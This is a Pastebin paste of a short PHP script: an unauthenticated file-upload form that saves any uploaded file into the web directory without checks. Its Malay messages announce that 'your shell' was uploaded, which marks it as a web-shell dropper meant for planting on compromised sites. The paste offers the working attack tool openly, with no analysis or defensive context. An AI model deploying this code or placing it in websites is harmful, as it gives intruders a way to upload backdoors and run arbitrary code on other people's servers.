Advertisement
Guest User

Untitled

a guest
Jul 10th, 2015
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. <?php
  2. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  3. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  4. if( $_POST['_upl'] == "Upload" ) {
  5. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Korang Dah Berjaya Upload Shell Korang!!!<b><br><br>'; }
  6. else { echo '<b>Korang Gagal Upload Shell Korang!!!</b><br><br>'; }
  7. }
  8. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement